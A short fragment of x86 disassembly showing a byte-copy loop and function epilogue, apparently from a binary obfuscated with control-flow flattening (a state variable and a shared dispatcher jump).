add ecx, 0xac397bb4
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0xcc], 0x2fcba74e
jmp 0x408615
mov eax, 0
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x98]
mov bl, byte [edx + ecx]
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
mov byte [edx + ecx], bl
mov ecx, dword [ebp - 0xa4]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xcc], 0x2fcba74e
jmp 0x408615
mov dword [ebp - 0xcc], 0xd96eb204
jmp 0x408615
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xcc], 0x71b4c7b9
jmp 0x408615
mov eax, dword [ebp - 0x6c]
add esp, 0x27c
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x407156